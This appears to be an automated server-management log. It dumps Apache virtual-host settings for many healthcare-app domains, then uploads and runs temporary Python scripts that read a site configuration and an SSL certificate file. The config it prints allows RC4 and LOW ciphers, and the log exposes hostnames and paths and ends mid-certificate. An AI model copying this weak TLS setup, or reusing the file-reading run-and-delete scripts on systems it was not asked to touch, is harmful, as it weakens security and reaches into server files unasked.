         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:43: 

PUT: /tmp/pkp287928

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:43: 

chmod 755 /tmp/pkp287928; /tmp/pkp287928; rm /tmp/pkp287928

2026-05-24 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf	1920
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www/public
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www/public
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>







2026-05-24 06:00:43: 

PUT: /tmp/pkp291728

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:43: 

chmod 755 /tmp/pkp291728; /tmp/pkp291728; rm /tmp/pkp291728

2026-05-24 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
